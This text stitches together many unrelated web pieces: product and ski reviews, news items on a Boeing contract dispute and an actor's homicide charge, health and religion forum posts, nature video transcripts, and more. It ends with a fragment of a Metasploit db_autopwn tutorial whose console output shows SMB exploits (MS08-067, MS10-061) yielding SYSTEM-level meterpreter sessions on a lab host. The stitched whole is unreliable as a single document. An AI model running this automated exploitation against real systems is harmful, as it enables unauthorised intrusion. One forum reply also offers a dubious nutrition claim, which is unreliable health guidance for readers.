Everyone Screams for...
By Capt. Patrick Sciacca — May 2003
...ice cream, of course. It's a summer staple, like hot dogs and baseball games. So why shouldn't you have this tasty treat onboard for your Fourth of July fireworks cruise? Black & Decker has put a twist--literally--on this crave-inducing delight that will even let you make a red, white, and blue sundae if you'd like.
The Arctic Twister Ice Cream Maker runs about $75 and is fairly simple to operate. First pick your favorite flavor, which according to the International Ice Cream Association is vanilla (chocolate came in second) and place it in the top of the machine. Next, add candy, nuts, or whatever topping you prefer. The final step takes a little elbow grease: With your magical mix ready to go, place the lid on top of the machine and start pumping the handle. Now, place your cup or cone underneath, and in seconds you have sweet relief from the summer heat.
If you can't wait to stop in at your local mass retailer or specialty store, the Arctic Mixer Ice Cream Maker can be purchased through Black & Decker's Web site or by phone.

It Turns Out … Pensions Rock!
Who knew London's pensions industry was so cool?
Last night, over 300 actuaries, lawyers, fund managers, consultants, trustees and others packed out the 100 Club on Oxford Street, for their second annual "battle of the bands". And was that Steve Webb, the UK's pensions minister, getting down to Rage Against the Machine?
The event, put together by Stuart Breyer, director of communications and research at pensions advisers Redington, and Charlie Thomas, executive editor of trade magazine Pensions Management, has proved so wildly popular that this year it has had to be spread over two nights.
Twelve bands in all have been formed, and taking to the stage last night were rockers from Redington, pensions consultants Xafinity, investment advisers Mercer, fund managers Schroders and Aviva Investors, and the UK's new national pension scheme, Nest. The other six will perform tonight.

'The Shield' actor Michael Jace charged in wife's shooting death
(Yahoo!) - Michael Jace, who's best known for playing Los Angeles Detective Julien Lowe on "The Shield," has been charged with homicide in the fatal shooting of his wife.
According to his booking sheet obtained by The Insider With Yahoo, the 51-year-old was arrested Tuesday morning at 2:15 a.m. P.T. by L.A.P.D.'s South Bureau Homicide division and bail has been set at $1 million.
Responding to a call that there had been gunshots, police arrived at the Hyde Park area home the actor shared with his wife of 10 years, April, and their two sons on Monday at 8:30 p.m., according to NBC's Los Angeles affiliate. April, 40, was suffering from multiple gunshot wounds and died at the scene. Michael was taken into custody and charges were filed later. Their sons, who are both under 10, were home at the time of the shooting, but it's unclear whether they witnessed it.
Investigators said they're not looking for any additional suspects. Additionally, there was no history of police responding to domestic violence incidents at the home. It was their first time there.
An actor for 22 years, Michael's biggest role was on "The Shield." He appeared in 89 episodes of the Michael Chiklis series, which went off the air in 2008. He also appeared on multiple episodes ofSouthland, which is also a TV crime drama about the Los Angeles police department, and other crime investigation dramas including CSI and NYPD Blue.
Two of his other notable roles included playing Michael Jordan in the 1999 TV movie about the basketball star, Michael Jordan: An American Hero, and portraying a Black Panther member in 1994's Forrest Gump.

Dear all,
I am planning on getting pregnant but I have some questions about my food habits. I am vegetarian and I do not eat meat. Do you think that this fact may affect the baby during pregnancy? What type of nutrients are essential during this step? And finally, what do you think may be the disadvantages of being vegetarian if I breastfeed my child?
Thanks in advance.

Hi Patricia,
It is possible to eat a balanced diet that provides the nutrients you and your unborn baby will need when you are a vegetarian but you may need to take extra time ensuring you get all the right types of food. This article on Safe Eating and Drinking Before and During Pregnancy helpfully explains the different nutrients you need to be consuming. It is good to start eating a balanced diet even when you are trying to conceive.
As a vegetarian, you should ensure that each day you are eating some of these food groups:
-dairy foods
-fruit and veg: it's good to aim for 5 portions of these a day
Protein, calcium and iron will be particularly important for you to eat when you are pregnant, but there are many vegetarian sources of these. Do you eat fish? The article above also describes what fish to eat and which should be avoided in pregnancy. You should also mention to your midwife that you are a vegetarian.
In terms of breastfeeding, again you can be a vegetarian and breastfeed without problems but you need to ensure you are eating the correct balance of nutrients. In breastfeeding, vitamin B12 is important. This can be gained from dairy products. The same is true of Calcium. You should also be having 12mg of Zinc a day. Some vegetarian mums take vitamin supplements to ensure they are getting these (other vitamin supplements can be taken during pregnancy) and other mums carefully plan their diet against the recommended guidelines for breastfeeding mums.
Best wishes,

Hi Patricia,
ljmarsen gave you some good guidelines. I would also like to mention that some vegetarians actually have a hard time conceiving because they're not getting the full spectrum of amino acids which is more easily achieved by eating fish, poultry or meat.
I've seen women go on fish and/or poultry/meat during their preconception preparation and during their pregnancies and breastfeeding. Once these phases were over, they returned to a vegetarian diet.
You will need to read your body carefully and adjust as needed. Your body will usually give you clues as to whether it's getting enough of every nutrient or not. If you find that you start craving more protein during pregnancy, and that piece of meat actually looks really good to you, you may need to actually eat it in order to be sure your body is getting the nutrients it needs to support the development of your child and allow you to have the best chance of a full term, healthy pregnancy.
One thing I've noticed with many vegetarians is that they tend to eat a lot of simple carbohydrates like pizza, pasta, white bread, cake, etc. Be sure you're avoiding simple carbohydrates and eating whole grains instead.
Warm regards,

It is completely possible to remain a vegetarian or even a vegan throughout pregnancy and breastfeeding. I know many women who have done it and have extremely healthy babies. It can be more difficult to maintain the right level of protein and iron, but it can most definitely be done.
During my own vegetarian pregnancies, I purchased two books which I think may be helpful for you. One was called "The Vegetarian Mother's Cookbook: Whole Foods to Nourish Pregnant and Breastfeeding Women- and Their Families" and the other was called "Your Vegetarian Pregnancy".
I hope that helps and I would also speak with your prenatal care provider to see if they have any suggestions. I know my midwife gave me an entire list of great non-animal based protein sources during my last pregnancy.

Hi guys.
I'm new to this forum as well as Buddhism. I know nothing about Buddhism compared with you guys, but Buddhism does seem to me "to be a perfect way of life". However there are certain beliefs/practices that i'm not sure I can believe... such as rebirth/reincarnation. Also philosophy, science and knowledge are, what I believe, tools foe us to gain a better understanding of what and why about life. If I cannot believe this and feel like this, can I still be a Buddhist?
Please, please I mean to cause no offence to anybody, it's simply questions I need answering so that I can follow a path.

How close are the Boeing Co. and the union representing engineers and technical workers to reaching a new contract?
Depends on whom you ask.
"If you look at the data — not the rhetoric — we're really not that far apart," said Mike Delaney, vice president of engineering for Boeing Commercial Airplanes division, in an interview Monday.
That's not the sentiment of the Society of Professional Engineering Employees in Aerospace.
"Boeing's message to our members indicates the company is still playing a hard line," said Bill Dugovich, SPEEA communications director.
The company and union were to resume negotiations at 1 p.m. today. It's their first meeting since Dec. 5, when a federal mediator suggested the two sides needed a cooling-off period.
The company and union began discussions back in April on a new contract for 22,950 engineers and technical workers — about half of whom work in Everett — responsible for designing and testing Boeing aircraft. SPEEA members rejected Boeing's first offer in October. Contract talks and rhetoric spiraled down from there, with Boeing in late November requesting the presence of the Federal Mediation and Conciliation Service.
SPEEA has planned a "day of action" today, calling on members to show support for union negotiators by marching at Boeing sites around the Puget Sound region.
Union leaders also are doing their best to prepare members for a potential strike, which they say could happen as early as next month. SPEEA has staged only one significant strike in its history, a 40-day work stoppage in 2000.
Tom McCarty, president of SPEEA, told members in a video message that he expects Boeing will make an offer "within a few days" of the resumption of talks.
Throughout negotiations, Boeing has stressed a need for a deal that will enable the company to remain competitive. SPEEA has pointed to the bonuses paid to Boeing officials and increased dividends paid to shareholders, as well as the company's soaring profits, as reasons the company should reward union members, too.
"The company is doing extremely well but isn't willing to reward the engineers and technical workers who helped create Boeing's success," SPEEA's Dugovich said.
However, Delaney says, SPEEA members already reap the benefits of Boeing's success through programs such as the company's employee 401(k) match and employee incentive program, which pays out based on Boeing performance each year. Early last year, Boeing paid commercial airplanes employees who are in the program an average of 15 to 16 extra days of pay as part of the incentive plan.
As for salary and benefits, Boeing has a market-based approach, Delaney said.
The company's latest offer, in terms of salary, included annual wage-pool increases of between 3 percent and 4.5 percent. That's not far, Delaney said, from the 5 percent increases in SPEEA's existing contract, which union leaders previously said they'd take.
The largest rift between Boeing and SPEEA is between expectations for pensions.
Boeing wants to step toward cutting growing pension costs. Under its proposal, new engineers and technical workers would be enrolled in a 401(k) retirement plan. The switch doesn't affect existing employees who now get a traditional pension, Delaney said.
SPEEA disagrees. In the long term, the union believes, Boeing would be creating a two-tier system, which years from now would pit members with the pension against those without.
The union has said it's willing to discuss changing all of the members from a defined pension to another form of a retirement plan so long as the new plan doesn't cut members' retirement compensation. SPEEA proposed forming a committee with Boeing to look into the matter.
But to Delaney, that's just punting the problem three or four years down the road.
"They've in fact offered us nothing," he said.

description: October 29, 2013—In a spooky coup, a parasitic worm hijacks a snail's brain and makes the snail sacrifice itself to a hungry bird. Carl Zimmer, a contributor to National Geographic's Phenomena science salon and author of the book Parasite Rex, explains how the snail's death helps the parasite perpetuate its sneaky species.

transcript:
There's a parasite that lives in North America and Europe called leucochloridium paradoxum. When it's inside a snail's body, it crawls up into the snail's tentacles. Because the tentacles are translucent, you can actually see the parasite inside. And there, it twitches around so that it creates a strange kind of pulsating appearance to the tentacle. So what you see when you see this pulsing is actually the parasite inside the snail.
The parasite also causes the snail to crawl up plants. Snails usually stay away from the light but the parasite takes over its brain and make it go up. And the reason it does that is because the parasite needs get into a bird. Birds to actually like to eat snails, but when a snails goes up a plant and its tentacle look like a caterpillar instead of a snail, the birds gets very interested.
And they swoop down and they take a bite out of the snail tentacle. In that way, the parasite is able to get inside the bird. The parasite travels down through its gut, to its rectum. And there, it becomes an adult, produces its eggs, which is then passed out with the bird droppings where snails come along and feed on them. And now the parasite's eggs get into a new snail which then get into the tentacles, and so on and so on.

title: World's Deadliest: Shrimp Packs a Punch

name: "Weird Beastie" Shrimp Have Super-Vision

transcript:
A mantis shrimp might not be a heavyweight, but ounce for ounce, it can throw some of the fastest and most powerful punches in nature.
The mantis shrimp spots its prey with hexnocular vision...two eyes that have three focal points each, and so many light-sensitive cells they can see in the ultraviolet and infrared.
With dinner in its cross-hairs, the mantis prepares to strike.
Running for cover under a discarded glass is useless. The club of a mantis shrimp can easily break quarter-inch glass, and the shell of a crab.
The mantis stores energy in its arm. It works like a spring-loaded mechanism. When the energy is released, the mantis smashes its prey with the force of a 22-caliber bullet.
Now that is a super-powered punch.

Tempers flare as fight breaks out in mini-camp - June 18, 2014

RENTON - It may just be mini-camp, but that didn't stop the Seattle Seahawks from having their emotions get the best of them during practice on Wednesday.
A fight broke out midway through practice that featured WR Phil Bates, CB Richard Sherman and several others.
Tempers appeared to be frayed after WR Bryan Walters injured his right shoulder on the previous play. Walters made a leaping grab and landed hard on his shoulder as S Earl Thomas appeared to land on Walters as they went to the ground.
The receivers seemed to take exception to the play and the two sides began shouting at each other. Something said seemed to spark anger in Sherman, who replied loudly before being restrained by S Kam Chancellor.
Sherman then lined up against Bates on the next play. The pair engaged right from the snap of the ball with Bates eventually losing his helmet and having his jersey pulled over his head by Sherman. Fists began to fly as Bates connected at least once on Sherman after he also lost his helmet and the situation escalated.
WR Percy Harvin and WR Doug Baldwin came running into the group as well as players worked to separate each other from the fracas.
"This can happen at any practice whether it's in the season or not," Thomas said. "I just think we're all so competitive, if you press just one wrong button everyone will clear the benches."
Meanwhile, RB Marshawn Lynch stood by and laughed at the whole incident.
Head coach Pete Carroll called a halt to practice soon after the incident and spoke to the team for close to five minutes before they resumed their workouts. Emotions were still damaged and players continued to angrily bark at each other for some time after the incident.
"Sometimes you get mad and you say stuff that you don't really mean," Thomas said. "But at the same time, we're all men out here. We're all alpha males and it happens like that sometimes."
However, eventually everyone appeared to make up over the scuffle by the end of practice with many laughing to each other about the fray, including recounting what happened amongst each other.
Walters did not return to practice and had his right arm in a sling at the end of practice.
Odds & Ends:
A few more players were sidelined for the second day of mini-camp.
LB Horace Miller, LB Korey Toomer and WR Kevin Norwood joined the list of players sidelined for Wednesday's practice. WR Chris Matthews did participate, but was wearing a red "no contact" jersey.
WR Percy Harvin did not participate in the majority of practice after briefly taking part in the early stages.
The additions to the injured list joined LB Bruce Irvin (who was in attendance Wednesday after being absent Tuesday), LB Malcolm Smith, LB Heath Farwell, RB Marshawn Lynch, S Kam Chancellor, T Russell Okung, TE Chase Dixon and WR Sidney Rice.
- CB Byron Maxwell made a ridiculous one-handed interception of a pass intended for WR Ricardo Lockette up the right sideline. Maxwell leaped into the air above Lockette and managed to reel in the ball with his right hand.
- S Terrance Parks picked off an end-around pass from WR Bryan Walters to WR Doug Baldwin in the early stages of team periods.
- WR Paul Richardson hauled in a 57-yard touchdown pass from QB Russell Wilson deep behind the defense.
- CB Richard Sherman picked off a pass from Wilson to WR Jermaine Kearse along the right sideline.
- The team will get their Super Bowl championship rings at a private ceremony Thursday night.

It's a designer's dilemma: The color white screams sleek, contemporary design, but keeping it clean—especially for buildings located in bustling cities—can be a costly and trying chore.
Richard Meier, FAIA, has faced that challenge in many of his buildings including the 2006 Jubilee Church project, built in Rome to celebrate the 2,000th anniversary of Christianity. In an attempt to create a coating to keep Meier's stark white forms clean with little maintenance, Italcementi Group, the project's lead technical adviser, turned to titanium dioxide—a white pigment often used in products such as toothpaste and sunscreen. Titanium dioxide also has significant photocatalytic properties. The coating works, in essence, with sunlight to set off a chemical reaction that accelerates the natural decomposition of organic matter, allowing the building to slough off environmental staining.
The coating did its job, but in the process Italcementi Group learned just how capable titanium dioxide itself was to clean the air around it—by "eating" nitrogen oxides, the main offender found in air pollution caused by burning fossil fuels.
The discovery is fortuitous, as air quality remains a major concern in the United States. In its "State of the Air 2013" report, the American Lung Association found that, despite an overall uptick in the quality of the nation's air, 42 percent of the population lives where pollution levels are too often dangerous to breathe.
Titanium dioxide continues to pop up in a variety of building materials as scientists and manufacturers look to chip away at air pollution in the built environment. In 2011, Alcoa introduced EcoClean, a titanium dioxide coating that can be applied to the company's aluminum architectural panels. And the honeycomb exterior of Mexico City's Torre de Especialidades hospital, featuring a German product called Prosolve370e, handles the smog of an estimated 1,000 cars per day—all while looking good.

Common sense dictates that it's wise to avoid creating the pollutant in the first place, but research is showing that applying titanium dioxide coatings to paving surfaces could help curb smog near its point of origin.
Earlier this year, researchers at the Netherlands' Eindhoven University of Technology laid a city-block's-worth of pavers that were coated with titanium dioxide. And in 2010 Marwa Hassan, an assistant professor in the Louisiana State University's Department of Construction Management, installed the United States' first photocatalyic asphalt and concrete pavements on that university's campus.
Both sets of researchers saw significant reduction in nitrogen oxides. At Eindhoven, there was a 19 percent reduction each day during the year-long study. Hassan's laboratory findings, published in the American Society of Civil Engineers' Journal of Materials in Civil Engineering, saw reductions of 31 to 55 percent. In the U.S., 12.5 billion square feet of asphalt shingles are produced every year, and four out of five homes are covered with them, according to the Asphalt Roofing Manufacturers Association. Could titanium dioxide turn the ubiquitous asphalt roofing of the average American home into a passive pollution scrubber?
Adem Chich, executive director for asphaltic low slope product development for New Jersey–based commercial and residential roofing manufacturer GAF, thinks it might be possible.
That is, of course, if it can be employed without significant threat to the bottom line.
"This is a technology that has been around for a while and can be deployed in several forms. Companies in Europe, Japan, and the United States are marketing [roofing] membranes with granules that are coated with anatase titanium dioxide, which absorbs the ultraviolet component of sunlight, acts as a catalyst to form hydroxyl radicals, which then oxidize and destroy most volatile organic compounds and nitrous oxide pollutants," Chich says.
Siplast claims that 500 squares of its Eco-Activ membrane will consume the nitrogen oxide emissions released by 23 passenger cars or light trucks driven 12,000 miles each. In addition, Siplast says the titanium dioxide continues to work through the life of the roof membrane.
"There are still questions as to how cost-effective this approach is," Chich continues. "There are, however, meteorological simulations going on at national laboratories to model pollutant generation and transport, as well as how photocatalysis can be deployed more effectively. It's potentially a great marketing feature, especially if the incremental cost becomes small."

System of a Down not working on new album
Listen to System of a Down on iHeartRadio
System of a Down frontman Serj Tankian is making it clear that the band doesn't have a new album in the works.
Rumors to the contrary began after drummer John Dolmayan announced during the band's Monday night show at the Hollywood Bowl that they would have a new album by the time they returned to the Los Angeles venue. But Tankian clarified during an Ask Me Anything session on Reddit Wednesday that he and his bandmates "have not yet agreed on a timetable for another record due to its time commitments."
Tankian added that they "really appreciate" the fact that fans are eagerly waiting the band's follow-up to 2005's double album "Mesmerize/Hypnotize." But he says they have to make a record when they think it's time, "not anyone else."
System of a Down will be following their one-off L.A. show with an appearance at Russia's Kubana festival next Wednesday. There are so far no plans to play another U.S. show this year.

Topic: mets to pancreas
Hi all,
John had a ct scan on 2/26. Got the results last week it said all was stable. He is now on a month long break from chemo. We don't go back to the doctor til April 2. However, we had not noticed on the previous scans a 5.6 cm mass on the head of the pancreas. Has anyone else had mets to the pancreas? What type of problems arise from tumors on the pancreas? Also, John is diabetic. His diabetes is controled by pills. He's lost about 20 pounds in the last two months and is now having trouble with low sugar attacks. He has cut back on his diabetes meds.
a few days before his ct scan John had 3 liters of fluid drained from his abdomen. Tests were run and the doctor said the fluid had suspicious cells. What does that mean? How good can the good news be if its off set by such bad news. I am so thankful for a place to ask questions and try to make sense of all this mess.

Big-mountain fun
By JSunshine
from Seattle, WA
Comments about Line Skis Influence 115 Skis 2013:
The new Influence 115 has an updated shape similar to the Mr. Pollard's Opus. I love the Opus for a playful powder ski, so throw in some metal and you have a hard-charging big-mountain version for much more stability at high speeds. Compared to the original Influence 115, the 2013 model has early taper and some tail rocker. I still charges from steeps, to chunder, to ice, but is not afraid to slash surfy turns. The tail rocker lets you turn this ski on a dime on a stiff ski without any worry of washing out.
Bottom Line Yes, I would recommend this to a friend

New Influence
By cshalbot
The Influence 115 got a slight upgrade. Billed as Lines big mountain ski first gen 115 had camber through the tail and a slightly different shape. With the success of the Opus from this season Line took the design ideas of that ski and applied it to the Influence. With contacts points move in on the ski and addition of mellow tail rocker, it is a lot more forgiving. The tips hook less and the turn shape can be varied a bit more. I like this because previously I felt like it only wanted to make big turns. The 2013 Influence 115 can charge hard now but its a lot easier to shut down speed than in previous years. If you like the playfulness of the Opus but want something a bit more stable for high speed variable terrain here is your answer.

About Me Expert
These skis are incredible. I'm 6-0 and 200, bought the 186 after skiing on a 177 Mantra for 4 years and the 115s are better in every situation and snow condition. They feel very stable and planted, carve good on the groomers and hard pack and float and turn in the deep very well. The rocker is low enough that there is no flop or chatter but enough to keep you on top of the deep. A one ski quiver for sure.

Ski can do anything!
By Eric
from Boise ID
I have been waiting to do a review until I skied this ski in good conditions and I finally was able to get some with the Influence 115. The mountain had about 15 inches new snow over the last 2 days and 8 inches from the night before. This is very easy ski, never sank at all even on flat ground at slow speeds. Very easy to make long big turns and just as easy to shut down and make quick turns. It Railed on the groomers, handled the crud with ease, didnt crush the crud but was A LOT of fun through it(I like to pop up in the crud) and lastly it floated like a DREAM. Stiffer than the Opus but definitally not a Crazy stiff 2x4. Still had lots of flex and pop in and out of turns. Couldnt ask for anything better for me. I bought these without a demo and couldnt be happier. This is a great one ski quiver for me and for someone looking for a ski that has a backbone but still just tons and tons of fun.
Impressive - A Lot of Ski
By NW Yeti
from Mission Ridge
I'm 5'11" and 185lbs. I demo-ed these skis (longer size) for several runs and was loving 'em. Out of 7 pair of skis I went through these were by far the most stable. They mowed over everything I but in their way and loved loved loved high speeds. Turning is not their specialty. I took them through a tree run and was a little overwhelmed. That said, if you like a stiff powerful ski that will are stable as a tank, this is your choice.

Above the Influence, BAC 1.15
By Tommy
from Stevens Pass
With about 3" of fresh and crust underneath, the Influence was a nice balance both for flaoting and carving. Having become used to full rockered skis I had to work a lot more for each turn, but still did what I wanted and was fun.
By Big Perm
from Red Lodge, MT
I was coming from old school Rossi Bandits. Thought I was wearing waterskis...to me very big...was nervous...but they ski great. Quick turning but very stable. Have only skied them one day but in a variety of terrain...trees, groom, bumps, and they were great. The line in the bumps cant be too tight but they were not bad. Solid all mtn ski.
Great Skis for All Conditions
By Jason
from Bozeman, MT
I have the 193s mounted up with Marker Barons. Best resort ski I have ever been on. Good stability at high speeds. Really inspire confidence in variable conditions. Will be perfect for steep backcountry lines in the spring, but for mid winter BC skiing I will be sticking with a more dedicated pow ski (K2 Darksides). As with any stiffer ski, the Influences can tip dive in real deep snow in lower angle terrain.
Great Aggressive skis
By Big Bri
from Bellingham Wa
About Me Intermediate
Fianlly Busted these out at Baker last week. They kicked but in the powder. They are not as forgiving as my Patrons, But if you get over the front they will do just what you want. They are a bit heavy and sluggish on groomers. Great ski for the quiver!
Great sticks
By Matt
from Denver, CO
Great skis. Float on powder and smooth on groomers.
First run
By shred
from Northern Utah
About Me Professional
Only made one run before the ski lifts opened for the season. Six inches of light powder over machine packed snow. The ski was great and really wanted to go fast. Where the base was not packed, the snow had no structure - rotten to the ground. Even there, the ski would float - mostly. I think the ski will be very versatile, and never leave me wishing for something more substantial.
Great ski
By Ed

About Me Advanced
First day on these skis at Winter Park on Friday. Had just received 12" of snow in the two days prior to being there. Spent an equal amount of time in powdery glades and groomed slopes. These skis handled both very well ... surfing through the new powder and carving very well on slopes. I'm 6'3", 205 lbs and got the 192cm length. Amazing float, yet skied shorter than the 192cm ... hard to describe. First time on 'big boards' and absolutely loved them!
Excellent Ski!!

Haven't had a chance to use these ski's yet, but am very impressed with Evo. Delivery was fast and everything was as promised. Thank you Evo.
Awesome balance
By charge hard
from bozeman, mt
I haven't skied the new (for last year) 115 waist size, but I did ski the 105 in the previous years quite a bit. I'm very excited for the changes in taper and flex, as well as the milled in metal matrix. Super stoked to mount these up and give em hell
Line Influence 115
By Pman
from Hartford, CT
really durable, flex well and hold an edge like no other ski. You can definitely ski this ski wherever you want on. any condition, especially poweder
Looking good
By Todski
from Bend OR
Haven't had a chance to ride these yet but they look to be a great ski. Nice moderate flex and camber underfoot should work well on the groomers. Early rise on tip and tail should make these pretty surfy in power.
Preliminary review
By lowflyr
from SLC, UT
Prelimiary review, will update during season.Andrew's description and product knowledge confirmed what I was aware of. Basically upgrading to rocker and going back to some metal. Had K2 Outlaw w/ MOD tech before Bacons. Upgrade skiis every coupla years. Influence and Rossi Axial 2 120 XXL are much lighter than my Bacons. After flex test can tell they will be even more stable and ski the same even though they are slightly longer at 179 Cm with similar sidecut.One more time Andrew rocks. EVO has by far best customer service.
Nice Job Line
By Pow Seeker
from UTAH SNOW
Wife surprised me with theses skis. Very pleased with her decision. Don't believe in demoing skis, takes too much time. Researched and talked to experts with my wants and needs. 6'1 195 lbs. - 186cm w/ Griffon Bindings. Use these as my all around skis. They are made for it all. Handle better than expected on the groomers. Radius provides a good carve. You want more buy a GS ski. Great on the crud and powder and transitions from crud/ pow and crud/ groom. Very pleased and impressed with the ability to dance in and out of turns through trees and finding the tight spots of pow stache. These are a bit heavier than the Opus and SFB which make this ski more for the aggressive skier since they can run on you in the big mountain pow. Great all around fun ski for every condition ski day. Enjoy!!

Crud, powm groomers this thing kills it all!
Demoing the Influence 115
By Buffalogue
Powerful, great edge control and hold. Stable platform in the crud, not the best for landing switch in deep snow.

Cisco owns networking, right? Not when it comes to the rapidly growing Layer 4-7 switching market. There, F5 Networks has managed to garner nearly 50% market share, while Cisco's share has actually declined. John McAdam, F5's CEO, attributes the company's success to having won ownership of certain strategic control points in today's consolidated data centers. In this installment of the IDG Enterprise CEO Interview Series, McAdam talked with IDGE Chief Content Officer John Gallant about F5's efforts to make infrastructure more agile, how the company is helping IT leaders navigate the move to cloud computing, new security and mobility challenges facing enterprises and why his Seattle-based company so often beats Cisco when customers choose an application switching partner.
(Read more from the IDG Enterprise CEO Interview Series, including Q&As with Cisco CEO John Chambers, Riverbed CEO Jerry Kennelly and SAS CEO Jim Goodnight.)
F5 is described as an application delivery vendor, but that term is nebulous to some folks and it doesn't really convey all of the things that you do. You cover everything from application acceleration, wide-area network (WAN) optimization, security, policy and more. Can you crystallize F5's mission and what sets it apart from other infrastructure companies?

Colorectal Cancer Awareness Month Experts
Colon cancer is the country's No. 2 cancer killer. Each year, approximately 150,000 new cases are diagnosed, and 56,000 people die from colon cancer in the United States. In South Carolina in 2010, 2,140 cases were diagnosed, and 700 people died from colon cancer. It is also a preventable form of cancer, with effective screening tests available.
For Colorectal Cancer Awareness Month, the University of South Carolina Office of Media Relations offers a list of faculty experts and story ideas. For more information or to schedule interviews, call or e-mail Megan Sexton, 803-777-5400, email@example.com.
Screening is key to reducing colon-cancer rates. Colon-cancer rates could be cut by two-thirds if everyone is properly screened. South Carolina is seen as a national leader in outreach programs for colon cancer, with public service and outreach campaigns that have led to more screening. Dr. Frank Berger, director of the Center for Colon Cancer Research at the University of South Carolina, can talk about the need for screening and discuss how South Carolina is getting the word out and getting more people tested. He can also discuss the biology of colon cancer and translational research (applying the outcomes of research to improving colon-cancer prevention and treatment).
Improving colon-cancer survival rates. Thirty to 40 percent of colon-cancer deaths are caused by cachexia: unintended weight loss. Maintaining weight and muscle mass is critical to surviving cancer. Dr. James Carson is an associate professor in the exercise science department in the Arnold School of Public Health and a researcher in USC's Center for Colon Cancer Research, can discuss the importance of exercise for cancer patients, particularly in the early stages of the disease. Carson is an expert on cancer survival, regulation of weight loss, nutrition for cancer patients and the effect of physical activity on colorectal cancer progression.
Getting the community involved. Dr. Heather Brandt of the Arnold School of Public Health conducts community-based research for USC's Center for Colon Cancer Research. Her project looks at community-based colorectal-cancer-prevention efforts in South Carolina. Brandt, an assistant professor of health promotion, education and behavior, also leads the We CAN! (Wellness, Education, Community Awareness and Navigation) Colon Cancer Program. Brandt can discuss the importance of community-based research, cancer prevention and control and cancer disparities among underserved populations.
The role of genes. The incidence of colorectal cancer increases among people with a family history of the disease. USC's Environmental Genomics Core Facility (EnGenCore) does high-tech, rapid DNA sequencing. Dr. Joe Jones, director of EnGenCore, can discuss personalized medicine -- using genetic information to guide a person's treatment based on that individual's genetic composition.

Researchers looking at neurological outcomes have some brand new tools—a set of brief but comprehensive tests to measure motor, cognitive, sensory, and emotional function in people aged 3 to 85.
Unveiled in September, the NIH Toolbox for Assessment of Behavioral and Neurological Function [1] provides common, standardized measurements, designed for use particularly in large-scale research, like epidemiological studies or clinical trials, that will make it easier to pool data and compare results among studies. It will also make neurological and behavioral assessment faster and cheaper. The intent is to produce economies of time and cost in these types of studies by allowing richer data to be collected without creating undue burden for study participants.
The online, royalty-free tests (in English and Spanish), which use state-of-the-art psychometric approaches and computer-adaptive testing, are briefer than tests now in use and don't require a highly trained scientist to administer. All were validated against longer tests and in different cultures and ethnic and geographic groups. Also, unlike many of the tests now used, they can assess a continuum of health from dysfunction through superfunction.
The NIH Toolbox was developed under the auspices of the NIH Blueprint for Neuroscience Research [2]and involved more than 235 scientists around the world, led by Richard Gershon, Ph.D., at Northwestern University's Feinberg School of Medicine. The NIH contact is Molly V. Wagster, Ph.D., in the National Institute on Aging's Division of Neuroscience.

It was quite a sophomore campaign for Herriman runner Lucy Biles, and now, the 5-foot-5 Mustang cross-country star is adding another accolade to her banner year.
The Gatorade Company, in collaboration with USA TODAY High School Sports announced Thursday that Biles was named the 2012-13 Gatorade Utah girls' cross-country Runner of the Year.
Biles won the Class 4A individual state championship this year, finishing with a top time of 17:49.6. She also finished fourth overall at the Nike Cross Nationals Southwest Regional championships with a time of 17:23 and won the Park City Invitational, the Herriman Invitational as well as the Region 7 championship.
According to a release from Gatorade, "the award, which recognizes not only outstanding athletic excellence, but also high standards of academic achievement and exemplary character demonstrated on and off the racecourse, distinguishes Biles as Utah's best high school girls cross country runner."
With being named Utah's top runner, Biles is now a finalist for the prestigious Gatorade National girls cross-country Runner of the Year award to be announced in January. With that honor, she joins an elite alumni association of past state award-winners in 12 sports, including Ryan Hall (1999-00, 2000-01, Big Bear HS, Calif.), Derek Jeter (1991-92, Kalamazoo HS, Mich.), Candace Parker (2001-02, Naperville Central HS, Ill.), Abby Wambach (1997-98, Our Lady of Mercy, N.Y.) and Mark Sanchez (2004-05, Mission Viejo HS, Calif.).
Biles joins the group of past Gatorade cross-country Runner of the Year from the Beehive State, including Kelsey Braithwaite (2011-12, Box Elder High School), Shea Martinez (2010-11, Davis High School), Gillian Gorelik (2009-10, Park City), Danielle Menlove (2008-09, Jordan) and Hailey Knettles (2007-08, Judge Memorial Catholic).
"Lucy has only been running for just over one year," said Herriman head coach James Barnes in the release. "She's a great kid, and very coachable. She has great leadership skills for a young girl."
The release states that Biles maintains a 3.91 grade-point average and also volunteers locally on behalf of the Special Olympics as well as putting in additional volunteer time at an area food bank.

You should even be able to run scripts on multiple sessions with the following;Code:msf > db_vulns [*] Time: 2010-11-18 15:57:36 UTC Vuln: host=192.168.25.147 name=exploit/windows/smb/ms08_067_netapi refs=CVE-2008-4250,OSVDB-49243,MSB-MS08-067,NEXPOSE-dcerpc-ms-netapi-netpathcanonicalize-dos [*] Time: 2010-11-18 15:58:05 UTC Vuln: host=192.168.25.147 name=exploit/windows/smb/ms10_061_spoolss refs=OSVDB-67988,CVE-2010-2729,MSB-MS10-061 msf > db_exploited [*]Time: 2010-11-18 15:57:38 UTC Host Info: host=192.168.25.147 port=139 proto=tcp sname=netbios-ssn exploit=exploit/windows/smb/ms08_067_netapi [*] Time: 2010-11-18 15:57:41 UTC Host Info: host=192.168.25.147 port=445 proto=tcp sname=microsoft-ds exploit=exploit/windows/smb/ms08_067_netapi [*] Time: 2010-11-18 15:58:05 UTC Host Info: host=192.168.25.147 port=445 proto=tcp sname=microsoft-ds exploit=exploit/windows/smb/ms10_061_spoolss [*] Time: 2010-11-18 15:58:06 UTC Host Info: host=192.168.25.147 port=139 proto=tcp sname=netbios-ssn exploit=exploit/windows/smb/ms10_061_spoolss [*] Found 4 exploited hosts. msf > sessions -v Active sessions =============== Id Type Information Connection Via -- ---- ----------- ---------- --- 1 meterpreter x86/win32 NT AUTHORITY\SYSTEM @ VICTIM-30FE648F 192.168.25.133:11425 -> 192.168.25.147:1039 exploit/windows/smb/ms08_067_netapi 2 meterpreter x86/win32 192.168.25.133:32002 -> 192.168.25.147:1040 exploit/windows/smb/ms08_067_netapi 3 meterpreter x86/win32 NT AUTHORITY\SYSTEM @ VICTIM-30FE648F 192.168.25.133:15606 -> 192.168.25.147:1042 exploit/windows/smb/ms10_061_spoolss 4 meterpreter x86/win32 NT AUTHORITY\SYSTEM @ VICTIM-30FE648F 192.168.25.133:11361 -> 192.168.25.147:1043 exploit/windows/smb/ms10_061_spoolss
in this example we'll use checkvm. I wasnt able to get all sessions to run some scripts, so I will not be including the output in this case. Perhaps a better idea would be to use setg with an initialautorunscript setting.
I think that should cover most of the basics for db_autopwn. It's quite handy and entertaining to mess around with. I also recommend checking out Rel1k's fast-track tool.Code:msf > sessions -s checkvm all
I have recorded a short demo video of some commands and will be uploading shortly.
